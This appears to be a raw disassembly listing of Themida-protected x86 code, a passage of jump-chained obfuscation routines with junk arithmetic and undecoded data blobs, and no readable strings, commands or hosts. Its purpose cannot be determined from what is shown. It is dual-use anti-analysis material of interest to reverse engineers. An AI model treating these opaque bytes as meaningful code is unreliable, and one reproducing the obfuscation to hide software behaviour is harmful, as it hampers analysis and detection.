; Themida_:00544119j ...
lodsb
add al, 42h
add al, 0D7h
add al, bl
jmp loc_555D22
; ---------------------------------------------------------------------------
loc_542718: ; CODE XREF: Themida_:00545D0Ej
push ebp
mov ebp, 28AB3C99h
neg ebp
jmp loc_54BE6D
; ---------------------------------------------------------------------------
loc_542725: ; CODE XREF: Themida_:00543C69j
push ebx
mov bl, 74h
jmp loc_54E622
; ---------------------------------------------------------------------------
db 8Bh, 2 dup(24h)
dd 10A0E9h, 0C2815F00h, 253D0327h, 246C281h, 0FFE9317Fh
dd 68000068h, 0B1Fh, 15208E9h, 44480500h, 0C8015962h, 6244482Dh
dd 0CAF3E959h, 0E5680000h, 89000007h, 6AB5240Ch, 0CC25E9h
dd 24048300h, 24048F04h, 4B850h, 0E4E90000h, 8100000Ch
dd 0C36AE8E9h, 67C2E97Fh, 9F680000h, 89000067h, 14F7241Ch
dd 15C9E924h, 0EC810001h, 4, 0E9240489h, 6743h, 148BD131h
dd 4C48124h, 1000000h, 1C8759CBh, 89525C24h, 4C281E2h
dd 83000000h, 148704EAh, 1445E924h, 0E8C10001h, 4FF5002h
dd 0E0C15824h, 5E8C102h, 0F30DB635h, 58C72927h, 3F3AC781h
dd 0DF011DFBh, 3F3AEF81h, 0C7811DFBh, 255D7609h, 68241C8Bh
dd 235Fh, 54243489h, 5EBD555Eh, 8153EF72h, 108DA6C5h, 8BEE01ACh
dd 0C483242Ch, 4C68304h, 8B243487h, 0ABE92424h, 8300004Bh
dd 0BCE904C4h
db 82h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_542833: ; CODE XREF: Themida_:005527BDj
sub esp, 4
jmp loc_555F8B
; ---------------------------------------------------------------------------
db 68h
dd 0AD9F044Bh, 5DEE295Dh, 6DAD68h, 24348900h, 1BB068h
dd 24148900h, 8324348Bh, 925A04C4h, 0ADC5E9h, 81FA2900h
dd 39585DC2h, 243C8B6Fh, 4C481h, 79E90000h, 800000EBh
dd 52E96FC3h, 510000E3h, 0AC2143B9h, 0D3C9813Fh, 8123014Ah
dd 212E77E1h, 0E8E95030h
db 0Bh, 2 dup(0)
; ---------------------------------------------------------------------------
loc_542897: ; CODE XREF: Themida_:00551E79j
pop esp
mov [esp], ecx
push 38B8h
mov [esp], edx
mov edx, 55E54E94h
jmp loc_553A4E
; ---------------------------------------------------------------------------
db 66h, 0FFh, 32h
dd 0FFFE57E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_5428B5: ; CODE XREF: Themida_:005523D9j
not edx
jmp loc_54414C
; ---------------------------------------------------------------------------
aUusSRsbo db '½Uué-',9,'è]Ré¡O',0
align 2
dw 0F729h
dd 86F0E95Eh, 0C2810000h, 4, 0E9241487h, 3BB7h, 0E9545758h
dd 269Fh, 4C481h, 96E90000h, 0BA0000D7h, 4, 34FFD029h
dd 812AE924h, 0B4500000h, 0BB38E969h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_54290A: ; CODE XREF: Themida_:00547A1Fj
sub esp, 2
mov [esp], dx
mov dh, al
not dh
mov al, dh
pop dx
add al, 27h
jmp loc_55000A
; ---------------------------------------------------------------------------
db 52h
dd 0C281E289h, 4, 8704EA83h, 0AAE92414h
db 0C4h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_542937: ; CODE XREF: Themida_:00552C62j
and edi, 73704823h
not edi
push ecx
jmp loc_55533E
; ---------------------------------------------------------------------------
db 5Eh, 0E9h, 0Ah
dd 89000115h, 4B9240Ch, 29000000h, 76E959CAh, 870000E0h
dd 9E92414h, 68000064h, 5CBB60CAh, 0EC83525Bh, 24348904h
dd 13FDE9h, 0C7C78100h, 89D00D55h, 0EB895FFDh, 83242C8Bh
dd 0D80104C4h, 1FEEE95Bh
db 1, 0
; ---------------------------------------------------------------------------
loc_54298E: ; CODE XREF: Themida_:00543E5Cj
jnz loc_54F0ED
sub esp, 4
mov [esp], ecx
push 247Bh
mov [esp], ebx
push 2C091BC3h
mov ebx, [esp]
jmp loc_55496E
; ---------------------------------------------------------------------------
db 88h
dd 241C8BFAh, 0FC2E9h, 4C48100h, 2D000000h, 70197191h
dd 0E9243C8Bh, 51AFh, 0E581E5D1h, 90A60A8h, 0ED81D5F7h
dd 261FC232h, 10F83E9h, 4EC8100h, 89000000h, 41BB241Ch
dd 0E95EDB10h, 1CDBh, 2BFh, 8BFD2900h, 0C483243Ch, 242C3304h
dd 33242C31h, 0E95C242Ch, 0AD8Dh
; ---------------------------------------------------------------------------
loc_542A10: ; CODE XREF: Themida_:00552659j
push ebx
mov ebx, esp
add ebx, 4
add ebx, 4
xchg ebx, [esp]
pop esp
push edi
push esp
mov edi, [esp]
add esp, 4
push edx
push 52C87C1Ch
pop edx
jmp loc_54FEF4
; ---------------------------------------------------------------------------
db 5
dd 2EED0C80h, 802DF001h, 0FF2EED0Ch, 348B2434h, 4C48124h
dd 81000000h, 4C4h, 2BD5500h, 0E9000000h, 13B4Ah, 0C281E289h
dd 4, 8704EA83h, 895C2414h, 0EC83242Ch, 24248904h, 1474FE9h
dd 2434FF00h, 0E1D8E9h
db 0
; ---------------------------------------------------------------------------
loc_542A85: ; CODE XREF: Themida_:00557216j
sub edx, 41720201h
mov esi, [esp]
add esp, 4
xchg edx, [esp]
mov esp, [esp]
jmp loc_54DC08
; ---------------------------------------------------------------------------
db 0E9h
dd 0FFFFFC68h, 0C381C301h, 337B4EF0h, 4490BD55h, 63E90C9Fh
dd 0B8000054h, 4, 7A9E9h
db 0
; ---------------------------------------------------------------------------
loc_542AC1: ; CODE XREF: Themida_:0054758Ej
mov [esp], ebx
jmp loc_55754B
; ---------------------------------------------------------------------------
loc_542AC9: ; CODE XREF: Themida_:00547C78j
and edx, esi
pop esi
sub edx, 525A7756h
shl edx, 7
shr edx, 8
xor edx, 0DBC55Dh
add ebp, edx
pop edx
xchg ebp, [esp]
mov esp, [esp]
push ecx
mov ecx, 4
add ebx, 4CCC5F16h
add ebx, ecx
jmp loc_54A906
; ---------------------------------------------------------------------------
dw 0C780h
dd 80E7282Ch, 48B2CEFh, 4C48324h, 1C8BFE30h, 4C48324h
dd 4EC81h, 4890000h, 4EC8324h, 50241489h, 70E974B4h
db 98h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_542B27: ; CODE XREF: Themida_:0054AE7Ej
mov ch, 4Eh
sub dh, ch
jmp loc_543C5C
; ---------------------------------------------------------------------------
loc_542B30: ; CODE XREF: Themida_:00546612j
pop ecx
jmp loc_55036E
; ---------------------------------------------------------------------------
aISor db 'ˆÕéoà',0
dd 59EB3000h, 0E9F8E9h
db 0
; ---------------------------------------------------------------------------
loc_542B45: ; CODE XREF: Themida_:0054D005j
pop ebp
add edi, 640A0588h
add edi, ebx
sub edi, 640A0588h
pop ebx
jmp loc_5536B2
; ---------------------------------------------------------------------------
dw 0ADE9h
db 0FBh, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_542B5F: ; CODE XREF: Themida_:0054EBD2j
pop esp
mov [esp], ebx
mov ebx, 758410E6h
sub ebx, 6087DE53h
push eax
push 363712A1h
mov eax, [esp]
add esp, 4
add eax, 52751A0Bh
push edx
mov edx, 634315A6h
sub eax, edx
pop edx
add ecx, 13F620FAh
add ecx, 6BC4678Dh
sub ecx, eax
sub ecx, 6BC4678Dh
jmp loc_5544F7
; ---------------------------------------------------------------------------
dd 241C8B54h, 11B0E9h, 0C1959500h, 0D0F705E0h, 32B95155h
dd 8156C375h, 3EF34DC1h, 9725E9F8h, 248B0000h, 24348924h
dd 77F2E954h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_542BD2: ; CODE XREF: Themida_:0055184Bj
mov edx, esp
add edx, 4
jmp loc_550DB3
; ---------------------------------------------------------------------------
db 81h
dd 483C74C3h, 8BDE01C2h, 0C481241Ch, 4, 57BA68h, 24348900h
dd 131ACE9h, 2474FF00h, 24048B04h, 0E904C483h, 7EFCh, 0ED2FA6B8h
dd 2A556811h, 2C890000h, 62B3BD24h, 0B95158B9h, 126B5F5Ch
dd 2B25EB81h, 0CB2934A3h, 2B25C381h, 0C8B34A3h, 7F43E924h
dd 8F5B0000h, 895C2404h, 6853240Ch, 61691AD8h, 64C7E95Bh
dd 0EC830000h, 242C8904h, 37C1E9h
db 0
; ---------------------------------------------------------------------------
loc_542C59: ; CODE XREF: Themida_:00547D45j
xor ebx, 3A5DFA02h
sub eax, ebx
jmp loc_5486E7
; ---------------------------------------------------------------------------
loc_542C66: ; CODE XREF: Themida_:0054CAAAj
add esp, 4
xchg ebx, [esp]
mov esp, [esp]
mov cx, [esp]
push edi
jmp loc_55476C
; ---------------------------------------------------------------------------
dd 8159CE29h, 0FE03D7E6h, 0DAEE8161h, 0E95CE216h, 0A5CEh
; ---------------------------------------------------------------------------
loc_542C90: ; CODE XREF: Themida_:00548C3Cj
push ecx
mov ecx, 7851FB3h
jmp loc_5463B3
; ---------------------------------------------------------------------------
aISs db 'ˆêéáÙ',0
align 2
dw 4E68h
dd 0E900001Ah, 114B2h, 592434FFh, 4C481h, 0BD550000h, 2F7E6766h
dd 55F7F581h, 0DDF71346h, 2E46F581h, 0E58104A0h, 592615F0h
dd 0DD7EED81h, 0E8012D90h, 7AC4E9h, 56BB5300h, 0E906FD14h
dd 6700h
; ---------------------------------------------------------------------------
loc_542CE8: ; CODE XREF: Themida_:00555A0Bj
shr esi, 7
and esi, 7D896014h
sub esi, 0F441D1F6h
sub ebp, esi
pop esi
pop esi
xchg ebp, [esp]
mov esp, [esp]
shr ecx, 0Bh
jmp loc_54BC5E
; ---------------------------------------------------------------------------
db 81h, 0C4h, 4
dd 81000000h, 4ECh, 240C8900h, 0BB53E189h, 4, 525BD901h
dd 91740DBAh, 56E2D10Fh, 8C27EFBEh, 81DEF778h, 7101AAC6h
dd 11A3E92Eh, 0E2080000h, 0CEEA8058h, 0D028DB2Ch, 0CCE9DB04h
db 3, 1, 0
; ---------------------------------------------------------------------------
loc_542D4F: ; CODE XREF: Themida_:00543720j
pop eax
and eax, edx
mov edx, [esp]
add esp, 4
or eax, eax
jz loc_552536
push dword ptr [edi+1Ch]
jmp loc_55154A
; ---------------------------------------------------------------------------
loc_542D68: ; CODE XREF: Themida_:005444FCj
not ecx
xor ecx, 62A135DEh
neg ecx
xor ecx, 46F0148Eh
jmp loc_54C5FE
; ---------------------------------------------------------------------------
db 0BDh, 0F8h, 1Eh
dd 0E5C1681Bh, 0B5F58104h, 814A5213h, 0CC5ABBCDh, 0BBF58120h
dd 2DEBEFFEh, 51712EBDh, 0CC2DE9h
db 0
; ---------------------------------------------------------------------------
loc_542DA1: ; CODE XREF: Themida_:0054F94Cj
add ecx, ebx
add ecx, 61BC7A41h
push edi
mov edi, 20930BCDh
jmp loc_55588D
; ---------------------------------------------------------------------------
dd 4C781h, 3C870000h, 0BF575C24h, 4, 289CE9h, 243C8B00h
dd 11311E9h, 4E98100h, 87000000h, 895C240Ch, 14F72414h
dd 91CBE924h, 8B660000h, 54512404h, 0E9240C8Bh, 4D8Dh
dd 0CE88D988h, 0B14E959h, 815B0001h, 4C4h, 76E98100h, 81238538h
dd 53456AE9h, 0E9F90156h, 7C7Dh, 5ABBEE81h, 0D6016FDCh
dd 1226EE9h, 5FEA8100h, 0E930FC79h, 33F6h, 0C2E9C231h
db 0E1h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_542E37: ; CODE XREF: Themida_:00545464j
sub esi, ebx
add esi, 335A140Ah
pop ebx
jmp loc_555CD4
; ---------------------------------------------------------------------------
db 83h, 0ECh, 4
dd 0BA241489h, 40627E84h, 8245401h, 6824148Bh, 688Bh, 59EFE9h
dd 89665C00h, 5BE9240Ch, 0BF000124h, 5E752B83h, 4161C781h
dd 17E935CBh, 0BB000042h, 0
dd 0D987CB29h, 6DF1815Bh, 31F4DB27h, 0B6E1E9CFh
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_542E92: ; CODE XREF: Themida_:0054C1DCj
pop ecx
mov ax, [esp]
jmp loc_5449E4
; ---------------------------------------------------------------------------
dd 4BEh, 10990500h, 0F0015292h, 9210992Dh, 37685E52h, 89000024h
dd 0F0E9243Ch, 6600012Ch, 8124048Bh, 4ECh, 241C8900h, 0BF57E389h
dd 4, 756CC381h, 0FB0134CBh, 756CEB81h, 0E95F34CBh, 717Ch
dd 0E924248Bh, 0FFFFF820h, 68D831ADh, 6FB7h, 68243C89h
dd 4C01h, 0BB241C89h, 78C54FE0h, 353AE9h, 0BFF18100h, 0C1249F0Bh
dd 0C18107E1h, 0E9916D8h, 18D1E9h, 7CC4BA00h, 3E9171Ch
dd 5F0000CFh, 6E9768h, 24048900h, 3350E956h, 0F7810001h
dd 0F783640h, 8883BE5Dh, 0FE29D293h, 0E732E9h, 81CD2900h
dd 5235E1C5h, 0AB2E917h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_542F56: ; CODE XREF: Themida_:005552AEj
mov eax, 71BE6520h
xor eax, 7E594F54h
jmp loc_545AEC
; ---------------------------------------------------------------------------
loc_542F65: ; CODE XREF: Themida_:00543F6Aj
mov ebp, [esp]
jmp loc_54815A
; ---------------------------------------------------------------------------
aWss db 'Wé™Ü',0
dw 0B800h
dd 4, 8158C201h, 4C2h, 24148700h, 3232E95Ch, 89520001h
dd 76BE9E2h, 0C1810000h, 0FB136FB3h, 5A59CE29h, 5604C683h
dd 42474FFh, 24048F5Eh, 4C4815Ch, 66000000h, 5000B60Fh
dd 405E089h, 2D000000h, 4, 0E9240487h, 4D67h, 0FFF73FE9h
db 0FFh
; ---------------------------------------------------------------------------
loc_542FCD: ; CODE XREF: Themida_:0054B353j
mov [esp], esi
mov esi, 42677D3Ah
xor esi, 4A2532D1h
push edi
mov edi, esp
add edi, 4
sub edi, 4
xchg edi, [esp]
pop esp
mov [esp], edi
push ebx
mov ebx, 558479Bh
mov edi, 4443B9EBh
sub edi, ebx
pop ebx
sub esi, 5A527D45h
add esi, 3DC109CAh
add esi, edi
jmp loc_5564D0
; ---------------------------------------------------------------------------
dw 4BFh
dd 53000000h, 0A300EBBBh, 5BD9010Ah, 2A6AE981h, 0F9011F95h
dd 2A6AC181h, 0EC831F95h, 24348904h, 7EE4E9h, 5DDDBA00h
dd 0E281506Eh, 62A462FEh, 0E281DAF7h, 359C0473h, 0D44DE9h
db 0
; ---------------------------------------------------------------------------
loc_543051: ; CODE XREF: Themida_:005488EBj
mov edi, esp
add edi, 4
sub edi, 4
xchg edi, [esp]
pop esp
mov [esp], ecx
push 5D71h
jmp loc_556FA2
; ---------------------------------------------------------------------------
dd 9C2424D3h, 0FFF693E9h, 0C48359FFh, 4EC8304h, 0A556E9h
dd 5BDD0100h, 34FFE821h, 0C544E924h, 9A040000h, 9A2CD000h
dd 149DCE9h, 61C18100h, 8141194Bh, 0CEB761C1h, 2B5EE9C2h
dd 0E95A0001h, 0A6AFh, 67E9A82Ch, 81000134h, 2C3h, 74FF5300h
dd 0E5E90424h, 8B0000B8h, 0C4812404h, 4, 5C241C87h, 240C8966h
dd 59F8E9h, 4C48300h, 0E904EC83h, 12986h, 55FF801h, 0BDF09C6h
dd 0C9E9F801h
db 0Dh, 2 dup(0)
; ---------------------------------------------------------------------------
loc_5430FB: ; CODE XREF: Themida_:00544A82j
add esp, 4
pop dword ptr [esp]
pop esp
add edi, ebx
jmp loc_5444B6
; ---------------------------------------------------------------------------
loc_54310C: ; CODE XREF: Themida_:00549945j
mov edi, 37F5395Eh
sub edi, 499C080Ah
shl edi, 5
jmp loc_5499BF
; ---------------------------------------------------------------------------
loc_54311F: ; CODE XREF: Themida_:0054CD5Cj
add ebp, ecx
jmp loc_54DA25
; ---------------------------------------------------------------------------
loc_543126: ; CODE XREF: Themida_:0054B40Cj
add bl, al
push 3F2Ah
mov [esp], ecx
mov cl, 47h
sub bl, cl
jmp loc_5550C6
; ---------------------------------------------------------------------------
db 0C1h, 0E9h, 8
dd 7D6CF181h, 0EE81006Ah, 315E0A29h, 67A6C681h, 0CE017B67h
dd 0E155E951h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_543156: ; CODE XREF: Themida_:00545ACDj
mov [esp], eax
push ecx
mov ecx, 32CA2184h
mov eax, 32CA2186h
xor eax, ecx
pop ecx
add edi, eax
pop eax
jmp loc_5558E7
; ---------------------------------------------------------------------------
db 89h
dd 2434FFCBh, 0C88EE959h, 0CFF0000h, 89E99C24h
db 0F5h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_543183: ; CODE XREF: Themida_:0055395Fj
push 3937h
mov [esp], ebp
jmp loc_546476
; ---------------------------------------------------------------------------
dd 0E92434FFh, 100F7h
; ---------------------------------------------------------------------------
loc_543198: ; CODE XREF: Themida_:00544CB6j
xor edi, eax
mov eax, [esp]
add esp, 4
jmp loc_54B2A9
; ---------------------------------------------------------------------------
db 80h, 0F6h, 88h
dd 0C4E7E9h
db 0
; ---------------------------------------------------------------------------
loc_5431AD: ; CODE XREF: Themida_:005485BCj
pop edx
sub ax, bp
mov bp, [esp]
add esp, 2
jmp loc_55046F
; ---------------------------------------------------------------------------
loc_5431BD: ; CODE XREF: Themida_:00543524j
add ebx, edx
jmp loc_55655A
; ---------------------------------------------------------------------------
dd 0F66E95Eh, 0EC880001h, 6F90E959h, 0E95B0000h, 5AB0h
dd 53BFE480h, 0EFD089B7h, 0C046B252h, 0CAFE06EAh, 0EA80D2F6h
dd 5AD728C2h, 135A0E9h
db 0
; ---------------------------------------------------------------------------
loc_5431F5: ; CODE XREF: Themida_:0054A13Bj
pop edx
and eax, ebx
jmp loc_544E96
; ---------------------------------------------------------------------------
loc_5431FD: ; CODE XREF: Themida_:0054FD1Ej
mov esi, esp
add esi, 4
add esi, 4
jmp loc_550C74
; ---------------------------------------------------------------------------
dd 89D88950h, 1C8B58C2h, 4C48124h, 0E9000000h, 11564h
; ---------------------------------------------------------------------------
loc_543224: ; CODE XREF: Themida_:00548447j
pop esp
mov [esp], esi
mov esi, esp
push edi
mov edi, 3AD2359Ch
sub edi, 3AD23598h
add esi, edi
mov edi, [esp]
add esp, 4
sub esi, 4
xchg esi, [esp]
jmp loc_553B82
; ---------------------------------------------------------------------------
aWGhA db ',w,ƒhìa',0
dd 24148900h, 70B25251h, 8006E2C0h, 0B55186E2h, 0DADFE977h
dd 0C6010000h, 74FF5658h, 21E90424h, 5A000025h, 5966E800h
dd 68C3305Bh, 516Dh, 89242C89h, 4C581E5h, 68000000h, 3CC8h
dd 0B8240489h, 4, 8758C529h, 248B242Ch, 241C8924h, 5A4BA52h
dd 6FE9687Ah
db 79h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_5432B3: ; CODE XREF: Themida_:00545C5Fj
jmp loc_54270C
; ---------------------------------------------------------------------------
loc_5432B8: ; CODE XREF: Themida_:00556052j
pop eax
jmp loc_551B95
; ---------------------------------------------------------------------------
dw 0C681h
dd 3D6053E9h, 4BB2E681h, 0DEF70BB7h, 0DA9DF681h, 0BC2DDCF7h
dd 0E9495E76h, 127Fh, 81E78957h, 4C7h, 0BB535600h, 6EC0FC3h
dd 525BDE89h, 1A6FE9h
db 0
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
push ecx
mov ecx, 31EA0202h
inc ecx
add ecx, 0CE15FE01h
add ebp, ecx
pop ecx
push 71CFh
mov [esp], edx
jmp loc_55797A
; ---------------------------------------------------------------------------
db 81h, 0C6h, 4
dd 0E9000000h, 3956h, 42474FFh, 24048F58h, 0D5EAE95Ch
dd 0E9550000h, 0FFFFF507h, 0FFF3D3E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_543339: ; CODE XREF: Themida_:0054E930j
pop ebx
jmp loc_54725F
; ---------------------------------------------------------------------------
loc_54333F: ; CODE XREF: Themida_:005441F7j
add eax, 48B21D78h
jmp loc_556E89
; ---------------------------------------------------------------------------
loc_543349: ; CODE XREF: Themida_:0055647Cj
add ebx, 479575DFh
push eax
mov eax, 7C5BA76Bh
add ebx, eax
jmp loc_556C32
; ---------------------------------------------------------------------------
db '\h]',7,0
align 2
dw 3C89h
dd 1C766824h, 4F5F4C9Fh, 0E38FB951h, 0C781B360h, 53E35AC0h
dd 0B0B1E9h
db 0
; ---------------------------------------------------------------------------
loc_54337D: ; CODE XREF: Themida_:0054FD3Ej
pop esi
jmp loc_5565CF
; ---------------------------------------------------------------------------
db 81h
dd 616BD0C2h, 243C8B0Fh, 3A29E9h
db 0
; ---------------------------------------------------------------------------
loc_543391: ; CODE XREF: Themida_:0055549Aj
shr eax, 2
shl eax, 8
add eax, 51862ABFh
and eax, 3D875204h
not eax
xor eax, 39299A08h
xor ecx, eax
pop eax
and eax, ecx
jmp loc_552ED7
; ---------------------------------------------------------------------------
dw 505Ch
dd 0BF57E089h, 4, 105AEE9h, 42E95800h, 810000F8h, 6B7519E9h
dd 81F1016Ch, 6B7519C1h, 6EBF576Ch, 52061D7Bh, 0E03BE9h
dd 24048F00h, 48B665Ch, 0E3895324h, 777FBF57h, 0E78133A6h
dd 54D902A5h, 0EFC1EFD1h, 0CD3BE908h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_543402: ; CODE XREF: Themida_:0054547Aj
shl eax, 1
push esi
mov esi, 63D87559h
jmp loc_54A225
; ---------------------------------------------------------------------------
db 66h
dd 5524048Bh, 4EC81h, 8F540000h, 0ECE92404h, 8900003Ch
dd 0E789243Ch, 4C781h, 0BA520000h, 6A296FADh, 0E1E9E2D1h
dd 8100010Dh, 0AF7048C5h, 0E9E90164h, 0AC60h, 5F5FF801h
dd 0E9E18951h, 1069Eh, 1697E955h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_54345A: ; CODE XREF: Themida_:00545C9Cj
shr ecx, 2
push 12FBh
jmp loc_5443A9
; ---------------------------------------------------------------------------
db 1
dd 58042444h, 0E924048Fh, 0CBBEh, 5266C0FEh, 38E943B2h
dd 0B80000B8h, 38800866h, 0D0F7D0F7h, 3767E9h, 3886800h
dd 1C890000h, 803DB324h, 0D3F616EBh, 0AE21E9h, 62623500h
dd 0A20D3ACBh, 25216C05h, 60AB72C1h, 0B6E6E9h
db 0
; ---------------------------------------------------------------------------
loc_5434B5: ; CODE XREF: Themida_:0055343Ej
mov ebp, [esp]
add esp, 4
add ebp, 4
add ebp, 4
xchg ebp, [esp]
mov esp, [esp]
jmp loc_5563A8
; ---------------------------------------------------------------------------
loc_5434CF: ; CODE XREF: Themida_:005546C6j
xchg esi, [esp]
pop esp
push ebx
push esp
pop ebx
jmp loc_556B80
; ---------------------------------------------------------------------------
db 89h
dd 1BD242Ch, 81000000h, 0D46F5CEBh, 12E95611h, 0F7000052h
dd 3357E9D3h, 6F2C0001h, 125D3E9h
db 0
; ---------------------------------------------------------------------------
loc_5434FD: ; CODE XREF: Themida_:00555D5Fj
pop esi
add ebx, edi
push 6C6Bh
mov [esp], edx
mov edx, 65FA2E76h
and edx, 7351508Dh
dec edx
xor edx, ebx
xor ebx, edx
xor edx, ebx
not ebx
xchg ebx, edx
add edx, 0D4F65BADh
jmp loc_5431BD
; ---------------------------------------------------------------------------
db 57h, 0BFh, 4
dd 1000000h, 4A685FFAh, 8900002Bh, 0BE56241Ch, 10603F0Fh
dd 43A7EE81h, 814E5C91h, 0FF4202EEh, 6E68104h, 810D1226h
dd 61A89CEEh, 0FB7E9DBh, 0C4810000h, 4, 4C481h, 0D2E90000h
dd 0BF000019h, 5D471E90h, 8107E7C1h, 287499F7h, 3E7C164h
dd 52DABA52h, 0EA81444Bh, 78EB3382h, 9EF7E9h, 30B15100h
dd 1B5E9h, 5DEB0900h, 0E951DBF7h, 97E0h, 0C0FCEE80h, 0EE8006EEh
dd 5AF088EAh, 0FE04E8C0h, 0FEC0FEC0h, 0BC1AE9C0h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_5435BE: ; CODE XREF: Themida_:0054CA81j
pop ecx
push ecx
mov ecx, esp
add ecx, 4
add ecx, 4
xchg ecx, [esp]
jmp loc_554D25
; ---------------------------------------------------------------------------
loc_5435D3: ; CODE XREF: Themida_:0054A388j
mov ebp, [esp]
add esp, 4
jmp loc_54461F
; ---------------------------------------------------------------------------
loc_5435DE: ; CODE XREF: Themida_:005474E3j
mov eax, 9F72D8Bh
neg eax
add eax, 23C606Dh
jmp loc_544EF7
; ---------------------------------------------------------------------------
db 59h
dd 2816B753h, 0F8005BF8h, 11C71E9h, 4C18300h, 5C240C87h
dd 13C4EE9h
db 0
; ---------------------------------------------------------------------------
loc_543609: ; CODE XREF: Themida_:0054FE25j
mov edi, [esp]
add esp, 4
jmp loc_555198
; ---------------------------------------------------------------------------
loc_543614: ; CODE XREF: Themida_:00555629j
mov cl, 0AEh
add ah, cl
pop cx
sub bl, ah
jmp loc_548BC4
; ---------------------------------------------------------------------------
db 0BBh, 0ADh, 1Bh
dd 0DF291092h, 1359CE9h
db 0
; ---------------------------------------------------------------------------
loc_54362D: ; CODE XREF: Themida_:0055286Bj
push ecx
mov ch, 72h
sub bl, 80h
add bl, ch
add bl, 80h
pop ecx
add bl, al
jmp loc_548243
; ---------------------------------------------------------------------------
dd 4B9h, 244C0100h, 34FF5904h, 0AA0BE924h, 0B0500000h
dd 2C2B0468h, 8EEB808Fh, 3BF3E9h, 6F38100h, 810FD655h
dd 0F6471BC3h, 9177E9DFh, 0BD550000h, 4, 7C7DE9h, 2346BB00h
dd 0FBE1A3Ah, 2990358Ah, 0E2E95BDEh, 2D00011Eh, 383ED7h
dd 0A6C3815Bh, 8111ED2Fh, 477522EBh, 52C3291Ah, 787EBF57h
dd 1BE90B98h, 5C0000E1h, 0D092E9h, 815F5400h, 4C7h, 4B85000h
dd 1000000h, 0FF5758C7h, 8B042474h, 0C481243Ch, 4, 5C24048Fh
dd 4C481h, 68550000h, 6C81h, 138F8E9h, 0F01EE900h, 2C8BFFFFh
dd 4C48124h, 52000000h, 0F4C6E9h, 4C28100h, 83000000h
dd 148704C2h, 0FC4EE924h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_54370E: ; CODE XREF: Themida_:0054C9AFj
pop ecx
add esp, 4
sub edx, 10BD3724h
sub edx, eax
add edx, 10BD3724h
jmp loc_542D4F
; ---------------------------------------------------------------------------
db 0C1h, 0E3h, 3
dd 1B850h, 0C3010000h, 0C3814358h, 321BE70Ch, 2467BA52h
dd 0DAF70FE0h, 0FAAFF281h, 0D701C58Bh, 8274E95Ah, 0E9530000h
dd 10999h
; ---------------------------------------------------------------------------
loc_543754: ; CODE XREF: Themida_:0054AC73j
sub ebx, 3F173E1Eh
jmp loc_549B77
; ---------------------------------------------------------------------------
loc_54375F: ; CODE XREF: Themida_:00555E8Ej
push ebx
not dword ptr [esp]
pop ebx
add ebx, 69C34B7h
sub edx, ebx
jmp loc_5579D0
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
jmp loc_546D00
; ---------------------------------------------------------------------------
loc_543779: ; CODE XREF: Themida_:00555F86j
add esp, 4
push ebx
mov ebx, 0
add ebx, ecx
jmp loc_546752
; ---------------------------------------------------------------------------
db 0BAh, 2 dup(0FFh)
dd 0D629FFFFh, 4EEC15Ah, 0FFFFB951h, 0CE29FFFFh, 86AEE9h
db 0
; ---------------------------------------------------------------------------
loc_5437A1: ; CODE XREF: Themida_:0054AFFFj
add ecx, edi
pop edi
add ecx, 27156985h
push edx
push edi
mov edi, 629C4E09h
mov edx, 629C4E09h
jmp loc_5480E1
; ---------------------------------------------------------------------------
loc_5437BB: ; CODE XREF: Themida_:0054B5ACj
pop esp
jmp loc_5557E3
; ---------------------------------------------------------------------------
db 81h, 0F2h, 0B9h
dd 0E919CB62h, 9694h, 5504C483h, 0D9A1E9h, 24540100h, 24148B04h
dd 0E904C483h, 0FFFFEF28h
; ---------------------------------------------------------------------------
loc_5437E4: ; CODE XREF: Themida_:005486E2j
dec ecx
add ecx, 0C9531F0Ch
xor edi, ecx
jmp loc_54D375
; ---------------------------------------------------------------------------
dw 0FF50h
dd 58042474h, 5C24048Fh, 0E9595451h, 44h, 5BC58159h, 0E956D02Fh
dd 43B4h
; ---------------------------------------------------------------------------
loc_543810: ; CODE XREF: Themida_:005565C1j
add [esp+4], ebp
mov ebp, [esp]
push 7795h
mov [esp], ebp
mov ebp, esp
jmp loc_555A4B
; ---------------------------------------------------------------------------
loc_543826: ; CODE XREF: Themida_:00543BEDj
and edx, 8731385h
push ebx
mov ebx, 0FFFFFFFFh
add edx, ebx
pop ebx
shr edx, 3
jmp loc_54A971
; ---------------------------------------------------------------------------
db 56h, 0BEh, 4
dd 0E9000000h, 69F3h, 4C181h, 33E90000h, 5000085h, 4, 8704C083h
dd 15C2404h, 241C8BDAh, 4C481h, 0A0E90000h, 10000EEh, 0FE19E9D8h
dd 8340FFFFh, 0D8F701E8h, 2D02E8C1h, 208B3AC1h, 48BC689h
dd 0AAE95524h, 8B000118h, 0C4832414h, 0F1C28104h, 0E90E14F2h
dd 0FE4Eh, 4C483h, 51C92CD8h, 0C0DEB252h, 0E2C004EAh, 4EC8103h
dd 89000000h, 13682404h, 89000008h, 0B6B1240Ch, 2AD7E9h
db 0
; ---------------------------------------------------------------------------
loc_5438C9: ; CODE XREF: Themida_:0054B13Cj
pop edi
xchg ebp, [esp]
pop esp
mov [esp], eax
push esp
pop eax
push esi
jmp loc_54DDFD
; ---------------------------------------------------------------------------
db 0BDh, 41h, 4
dd 41BB7E18h, 0E97E1804h, 129A7h
; ---------------------------------------------------------------------------
loc_5438E8: ; CODE XREF: Themida_:0054F315j
add esp, 4
push esi
mov esi, 2D03542Dh
add esi, 0D2FCABD7h
jmp loc_5563B0
; ---------------------------------------------------------------------------
db 81h
dd 23CDEDC2h, 5AD3019Ah, 41E9D901h, 5F000080h, 0A0CE9h
